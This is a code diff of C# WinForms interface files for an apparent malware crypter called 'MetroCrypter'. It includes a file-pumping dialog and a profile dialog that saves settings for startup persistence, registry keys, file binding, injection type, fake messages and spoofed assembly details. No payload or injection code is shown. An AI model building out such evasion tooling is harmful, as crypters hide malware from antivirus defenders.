private void button1_Click(object sender, EventArgs e)
{
base.Close();
}
private void button2_Click(object sender, EventArgs e)
{
if ((string.IsNullOrEmpty(this.FilePumpTxt.Text) ? true : !Form1.CID.fpreply))
{
this.pop = new Popup("You didn't enter anything!");
this.pop.Show();
}
else
{
base.Close();
Form1.CID.txtPump = this.FilePumpTxt.Text;
}
}
private void button3_Click(object sender, EventArgs e)
{
if (!Form1.CID.fpreply)
{
this.button2.Enabled = true;
Form1.CID.fpreply = true;
this.button3.Text = "Enabled";
}
else
{
this.button2.Enabled = false;
Form1.CID.fpreply = false;
this.button3.Text = "Disabled";
}
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void FilePump_Load(object sender, EventArgs e)
{
this.FilePumpTxt.Text = Form1.CID.txtPump;
if (!Form1.CID.fpreply)
{
this.button3.Text = "Disabled";
}
else
{
this.button2.Enabled = true;
this.button3.Text = "Enabled";
}
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(FilePump));
this.button1 = new Button();
this.FilePumpTxt = new MetroTextBox();
this.label1 = new Label();
this.button2 = new Button();
this.button3 = new Button();
base.SuspendLayout();
this.button1.BackColor = Color.Transparent;
this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage");
this.button1.BackgroundImageLayout = ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray;
this.button1.FlatStyle = FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button1.Location = new Point(279, 0);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 31);
this.button1.TabIndex = 31;
this.button1.TabStop = false;
this.button1.TextAlign = ContentAlignment.BottomCenter;
this.button1.TextImageRelation = TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new EventHandler(this.button1_Click);
this.FilePumpTxt.get_CustomButton().set_Image(null);
this.FilePumpTxt.get_CustomButton().Location = new Point(97, 1);
this.FilePumpTxt.get_CustomButton().Name = "";
this.FilePumpTxt.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.FilePumpTxt.get_CustomButton().set_Style(4);
this.FilePumpTxt.get_CustomButton().TabIndex = 1;
this.FilePumpTxt.get_CustomButton().set_Theme(1);
this.FilePumpTxt.get_CustomButton().set_UseSelectable(true);
this.FilePumpTxt.get_CustomButton().Visible = false;
this.FilePumpTxt.set_Lines(new string[0]);
this.FilePumpTxt.Location = new Point(92, 53);
this.FilePumpTxt.set_MaxLength(32767);
this.FilePumpTxt.Name = "FilePumpTxt";
this.FilePumpTxt.set_PasswordChar('\0');
this.FilePumpTxt.set_ScrollBars(ScrollBars.None);
this.FilePumpTxt.set_SelectedText("");
this.FilePumpTxt.set_SelectionLength(0);
this.FilePumpTxt.set_SelectionStart(0);
this.FilePumpTxt.set_ShortcutsEnabled(true);
this.FilePumpTxt.Size = new System.Drawing.Size(119, 23);
this.FilePumpTxt.set_Style(3);
this.FilePumpTxt.TabIndex = 32;
this.FilePumpTxt.set_UseSelectable(true);
this.FilePumpTxt.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.FilePumpTxt.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.label1.AutoSize = true;
this.label1.Font = new System.Drawing.Font("Arial", 12f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.label1.ForeColor = Color.White;
this.label1.Location = new Point(224, 56);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(33, 19);
this.label1.TabIndex = 33;
this.label1.Text = "KB";
this.button2.BackColor = Color.FromArgb(85, 94, 102);
this.button2.Enabled = false;
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.ForeColor = Color.White;
this.button2.Location = new Point(117, 102);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(75, 23);
this.button2.TabIndex = 34;
this.button2.Text = "Apply";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click);
this.button3.BackColor = Color.FromArgb(85, 94, 102);
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatStyle = FlatStyle.Flat;
this.button3.ForeColor = Color.White;
this.button3.Location = new Point(12, 12);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(75, 23);
this.button3.TabIndex = 36;
this.button3.Text = "Disabled";
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new EventHandler(this.button3_Click);
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(33, 35, 38);
base.ClientSize = new System.Drawing.Size(308, 137);
base.Controls.Add(this.button3);
base.Controls.Add(this.button2);
base.Controls.Add(this.label1);
base.Controls.Add(this.FilePumpTxt);
base.Controls.Add(this.button1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.MaximumSize = new System.Drawing.Size(308, 137);
this.MinimumSize = new System.Drawing.Size(308, 137);
base.Name = "FilePump";
base.ShowIcon = false;
base.ShowInTaskbar = false;
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "FilePump";
base.Load += new EventHandler(this.FilePump_Load);
base.ResumeLayout(false);
base.PerformLayout();
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == 132)
{
m.Result = (IntPtr)2;
}
}
}
}
@@ -0,0 +1,132 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt
lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan
KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP
IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8
+Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA
nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu
QmCC
</value>
</data>
</root>
@@ -0,0 +1,47 @@
namespace MetroCrypter.Forms
{
partial class Popup
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.SuspendLayout();
//
// Popup
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(284, 261);
this.Name = "Popup";
this.Text = "Popup";
this.Load += new System.EventHandler(this.Popup_Load);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,107 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
namespace MetroCrypter.Forms
{
public class Popup : Form
{
private const int WM_NCHITTEST = 132;
private const int HT_CLIENT = 1;
private const int HT_CAPTION = 2;
private IContainer components = null;
private Button button2;
private TextBox textBox1;
public Popup(string text)
{
this.InitializeComponent();
this.textBox1.Text = text;
}
private void button1_Click(object sender, EventArgs e)
{
base.Close();
}
private void button2_Click(object sender, EventArgs e)
{
base.Close();
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.button2 = new Button();
this.textBox1 = new TextBox();
base.SuspendLayout();
this.button2.BackColor = Color.FromArgb(85, 94, 102);
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.Font = new System.Drawing.Font("Arial", 11.25f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button2.ForeColor = Color.WhiteSmoke;
this.button2.Location = new Point(124, 86);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(75, 23);
this.button2.TabIndex = 32;
this.button2.Text = "Ok";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click);
this.textBox1.BackColor = Color.FromArgb(33, 35, 38);
this.textBox1.BorderStyle = BorderStyle.None;
this.textBox1.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.textBox1.ForeColor = Color.White;
this.textBox1.Location = new Point(12, 37);
this.textBox1.Multiline = true;
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(299, 43);
this.textBox1.TabIndex = 33;
this.textBox1.Text = "example";
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(33, 35, 38);
base.ClientSize = new System.Drawing.Size(323, 123);
base.Controls.Add(this.textBox1);
base.Controls.Add(this.button2);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow;
this.MaximumSize = new System.Drawing.Size(339, 162);
base.Name = "Popup";
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Popup";
base.Load += new EventHandler(this.Popup_Load);
base.ResumeLayout(false);
base.PerformLayout();
}
private void label1_Click(object sender, EventArgs e)
{
}
private void Popup_Load(object sender, EventArgs e)
{
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == 132)
{
m.Result = (IntPtr)2;
}
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,47 @@
namespace MetroCrypter.Forms
{
partial class ProfileDialog
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.SuspendLayout();
//
// ProfileDialog
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(284, 261);
this.Name = "ProfileDialog";
this.Text = "ProfileDialog";
this.Load += new System.EventHandler(this.ProfileDialog_Load);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,281 @@
using MetroCrypter;
using MetroFramework.Components;
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Resources;
using System.Windows.Forms;
namespace MetroCrypter.Forms
{
public class ProfileDialog : Form
{
private const int WM_NCHITTEST = 132;
private const int HT_CLIENT = 1;
private const int HT_CAPTION = 2;
private IContainer components = null;
private Button button3;
private Button button2;
private Button button1;
private Button button4;
private SaveFileDialog saveFileDialog1;
private MetroToolTip metroToolTip1;
private OpenFileDialog openFileDialog1;
public ProfileDialog()
{
this.InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
base.Close();
}
private void button2_Click(object sender, EventArgs e)
{
this.openFileDialog1.Filter = "Config File|*.metro";
if (this.openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
string[] strArrays = File.ReadAllLines(this.openFileDialog1.FileName);
if (this.openFileDialog1.FileName.Contains(".metro"))
{
Form1.CID.PDreply = Convert.ToBoolean(strArrays[0]);
Form1.CID.startupreply = Convert.ToBoolean(strArrays[1]);
Form1.CID.fpreply = Convert.ToBoolean(strArrays[2]);
Form1.CID.fmreply = Convert.ToBoolean(strArrays[3]);
Form1.CID.tmreply = Convert.ToBoolean(strArrays[4]);
Form1.CID.title = strArrays[5];
Form1.CID.description = strArrays[6];
Form1.CID.company = strArrays[7];
Form1.CID.product = strArrays[8];
Form1.CID.version = strArrays[9];
Form1.CID.copyright = strArrays[10];
Form1.CID.trademark = strArrays[11];
Form1.CID.filename = strArrays[12];
Form1.CID.iconame = strArrays[13];
Form1.CID.FolderName = strArrays[14];
Form1.CID.Sfilename = strArrays[15];
Form1.CID.RegistKey = strArrays[16];
Form1.CID.txtPump = strArrays[17];
Form1.CID.Title = strArrays[18];
Form1.CID.Message = strArrays[19];
Form1.CID.delay = strArrays[20];
Form1.CID.binding = strArrays[21];
Form1.CID.BindReply = Convert.ToBoolean(strArrays[22]);
Form1.CID.ijtype = strArrays[23];
Form1.CID.fversion = strArrays[24];
}
else
{
MessageBox.Show("Error unreadable file \nPlease insert a .metro file");
}
}
if (this.openFileDialog1.FileName.Contains(".metro"))
{
MessageBox.Show(string.Concat("Loaded ", this.openFileDialog1.FileName, " Succesfully"), "Loaded File", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
base.Close();
}
}
private void button3_Click(object sender, EventArgs e)
{
this.saveFileDialog1.Filter = "Config File|*.metro";
if (this.saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
TextWriter streamWriter = new StreamWriter(this.saveFileDialog1.FileName);
streamWriter.WriteLine(Form1.CID.PDreply.ToString());
streamWriter.WriteLine(Form1.CID.startupreply.ToString());
streamWriter.WriteLine(Form1.CID.fpreply.ToString());
streamWriter.WriteLine(Form1.CID.fmreply.ToString());
streamWriter.WriteLine(Form1.CID.tmreply.ToString());
streamWriter.WriteLine(Form1.CID.title);
streamWriter.WriteLine(Form1.CID.description);
streamWriter.WriteLine(Form1.CID.company);
streamWriter.WriteLine(Form1.CID.product);
streamWriter.WriteLine(Form1.CID.version);
streamWriter.WriteLine(Form1.CID.copyright);
streamWriter.WriteLine(Form1.CID.trademark);
streamWriter.WriteLine(Form1.CID.filename);
streamWriter.WriteLine(Form1.CID.iconame);
streamWriter.WriteLine(Form1.CID.FolderName);
streamWriter.WriteLine(Form1.CID.Sfilename);
streamWriter.WriteLine(Form1.CID.RegistKey);
streamWriter.WriteLine(Form1.CID.txtPump);
streamWriter.WriteLine(Form1.CID.Title);
streamWriter.WriteLine(Form1.CID.Message);
streamWriter.WriteLine(Form1.CID.delay);
streamWriter.WriteLine(Form1.CID.binding);
streamWriter.WriteLine(Form1.CID.BindReply);
streamWriter.WriteLine(Form1.CID.ijtype);
streamWriter.WriteLine(Form1.CID.fversion);
streamWriter.Close();
MessageBox.Show(string.Concat("Saved to ", this.saveFileDialog1.FileName), "Saved Log File", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
}
}
private void button4_Click(object sender, EventArgs e)
{
Form1.CID.PDreply = false;
Form1.CID.startupreply = false;
Form1.CID.fpreply = false;
Form1.CID.fmreply = false;
Form1.CID.tmreply = false;
Form1.CID.BindReply = false;
Form1.CID.title = null;
Form1.CID.description = null;
Form1.CID.company = null;
Form1.CID.product = null;
Form1.CID.version = null;
Form1.CID.copyright = null;
Form1.CID.trademark = null;
Form1.CID.filename = null;
Form1.CID.iconame = null;
Form1.CID.FolderName = null;
Form1.CID.Sfilename = null;
Form1.CID.RegistKey = null;
Form1.CID.txtPump = null;
Form1.CID.Title = null;
Form1.CID.Message = null;
Form1.CID.delay = null;
Form1.CID.binding = null;
Form1.CID.ijtype = null;
Form1.CID.fversion = null;
MessageBox.Show("Cleared Settings");
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(ProfileDialog));
this.button3 = new Button();
this.button2 = new Button();
this.button1 = new Button();
this.button4 = new Button();
this.saveFileDialog1 = new SaveFileDialog();
this.metroToolTip1 = new MetroToolTip();
this.openFileDialog1 = new OpenFileDialog();
base.SuspendLayout();
this.button3.AllowDrop = true;
this.button3.BackColor = Color.FromArgb(85, 94, 102);
this.button3.BackgroundImageLayout = ImageLayout.None;
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button3.FlatStyle = FlatStyle.Flat;
this.button3.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button3.Image = (Image)componentResourceManager.GetObject("button3.Image");
this.button3.Location = new Point(116, 38);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(97, 94);
this.button3.TabIndex = 52;
this.button3.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.button3, "Save Profile");
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new EventHandler(this.button3_Click);
this.button2.AllowDrop = true;
this.button2.BackColor = Color.FromArgb(85, 94, 102);
this.button2.BackgroundImageLayout = ImageLayout.None;
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button2.Image = (Image)componentResourceManager.GetObject("button2.Image");
this.button2.Location = new Point(12, 38);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(97, 94);
this.button2.TabIndex = 53;
this.button2.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.button2, "Load Profile");
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click);
this.button1.BackColor = Color.Transparent;
this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage");
this.button1.BackgroundImageLayout = ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray;
this.button1.FlatStyle = FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button1.Location = new Point(286, 1);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 31);
this.button1.TabIndex = 29;
this.button1.TabStop = false;
this.button1.TextAlign = ContentAlignment.BottomCenter;
this.button1.TextImageRelation = TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new EventHandler(this.button1_Click);
this.button4.AllowDrop = true;
this.button4.BackColor = Color.FromArgb(85, 94, 102);
this.button4.BackgroundImageLayout = ImageLayout.None;
this.button4.FlatAppearance.BorderSize = 0;
this.button4.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button4.FlatStyle = FlatStyle.Flat;
this.button4.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button4.Image = (Image)componentResourceManager.GetObject("button4.Image");
this.button4.Location = new Point(220, 38);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(97, 94);
this.button4.TabIndex = 54;
this.button4.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.button4, "Clear");
this.button4.UseVisualStyleBackColor = false;
this.button4.Click += new EventHandler(this.button4_Click);
this.metroToolTip1.set_Style(4);
this.metroToolTip1.set_StyleManager(null);
this.metroToolTip1.set_Theme(1);
this.openFileDialog1.FileName = "openFileDialog1";
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(34, 36, 39);
base.ClientSize = new System.Drawing.Size(331, 144);
base.ControlBox = false;
base.Controls.Add(this.button4);
base.Controls.Add(this.button2);
base.Controls.Add(this.button3);
base.Controls.Add(this.button1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
base.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(331, 144);
base.MinimizeBox = false;
base.Name = "ProfileDialog";
base.ShowIcon = false;
base.ShowInTaskbar = false;
base.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
base.StartPosition = FormStartPosition.CenterScreen;
base.Load += new EventHandler(this.OptionsStartup_Load);
base.ResumeLayout(false);
}
private void OptionsStartup_Load(object sender, EventArgs e)
{
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == 132)
{
m.Result = (IntPtr)2;
}
}
}
}
@@ -0,0 +1,169 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
